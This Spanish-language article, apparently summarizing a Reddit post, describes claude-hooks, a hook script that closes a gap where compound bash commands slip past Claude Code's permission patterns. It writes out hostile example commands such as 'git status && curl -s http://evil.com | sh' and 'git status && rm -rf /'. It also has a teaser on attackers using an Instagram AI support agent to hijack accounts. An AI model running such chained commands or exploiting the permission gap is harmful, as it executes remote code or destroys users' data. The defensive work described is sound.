Gancho Inteligente de Permisos de Bash para Claude Code Previene la Omisión de Comandos Compuestos

Brecha de seguridad en el sistema de permisos de Claude Code
El sistema de permisos de Claude Code tiene una vulnerabilidad donde los comandos compuestos de bash pueden eludir los patrones de permitir/denegar. Cuando permites un comando como Bash(git status:*), Claude Code compara toda la cadena del comando con ese patrón. Esto significa que un comando compuesto como git status && curl -s http://evil.com | sh coincidiría con git status* y sería aprobado automáticamente, aunque encadena comandos curl y sh.
La solución: claude-hooks
La solución es un único script de Python llamado claude-hooks que se ejecuta como un gancho PreToolUse. Realiza varias funciones clave:
- Descompone comandos compuestos dividiendo en
&&,||,;,|, saltos de línea, y extrae contenidos de sub-shells$()y comillas invertidas recursivamente - Normaliza cada subcomando eliminando prefijos de variables de entorno, redirecciones de E/S, cuerpos de heredoc y palabras clave del shell
- Verifica cada subcomando individualmente contra tus patrones existentes
permissions.allowypermissions.deny - Denegar gana — si cualquier subcomando coincide con un patrón de denegación, todo el comando es denegado
- Todos deben permitirse — la aprobación automática solo ocurre cuando cada subcomando coincide con un patrón de permiso
- Falla con gracia — si algún subcomando es desconocido, aún obtienes el mensaje de permiso normal
Instrucciones de configuración
La instalación toma unos 30 segundos:
curl -fsSL -o ~/.claude/hooks/smart_approve.py \
https://raw.githubusercontent.com/liberzon/claude-hooks/main/smart_approve.pyAñade a ~/.claude/settings.json:
{
"hooks": {
"PreToolUse": [
{
"matcher": "Bash",
"hooks": [
{
"type": "command",
"command": "python3 ~/.claude/hooks/smart_approve.py"
}
]
}
]
}
}La herramienta no tiene dependencias más allá de Python 3 y no requiere configuración — lee tus patrones de permisos existentes.
Comportamiento de ejemplo
git status: Permitido tanto con como sin el ganchogit add . && git commit -m "msg": Permitido tanto con como sin el gancho (ambos coinciden congit *)git status && rm -rf /: Permitido sin el gancho, se muestra mensaje con el gancho (rm -rf /no tiene permiso)`npm test | tee output.log`: PermitidoFOO=bar git push: Podría no coincidir sin el gancho, permitido con el gancho (variable de entorno eliminada)
El repositorio está disponible en https://github.com/liberzon/claude-hooks bajo licencia MIT.
📖 Read the full source: r/ClaudeAI
👀 Ver también

Integración del Agente SOC OpenClaw para la Caza de Amenazas en el Laboratorio Casero SIEM
Un usuario de Reddit comparte su configuración de SIEM de código abierto llamada Red Threat Redemption en Debian 13, integrando Elasticsearch, Kibana, Wazuh, Zeek y pfSense con Suricata, luego añade un agente de IA para correlación automatizada de amenazas, búsqueda de amenazas y clasificación de alertas.

La función de soporte de IA de Meta permite a cualquiera secuestrar cuentas de Instagram — Detalles del exploit adentro
Una función de soporte de Instagram con IA, en fase de pruebas A/B, permite a atacantes restablecer contraseñas pidiendo al agente que envíe un código a un correo arbitrario. Más de 100 cuentas de alto valor han sido robadas.

Fil-C hace que setjmp/longjmp y ucontext sean seguros en memoria
Fil-C implementa las APIs setjmp/longjmp y ucontext sin corrupción de pila ni punteros colgantes, evitando el mal uso común que provoca fallos o exploits.

OpenClaw Skill Analyzer: Escáner de Seguridad Estática para Habilidades de Agentes de IA
Un desarrollador creó un analizador estático que escanea las habilidades de OpenClaw en busca de riesgos de seguridad antes de la instalación, con más de 40 reglas de detección en 12 categorías que incluyen inyección de prompts y exfiltración de datos.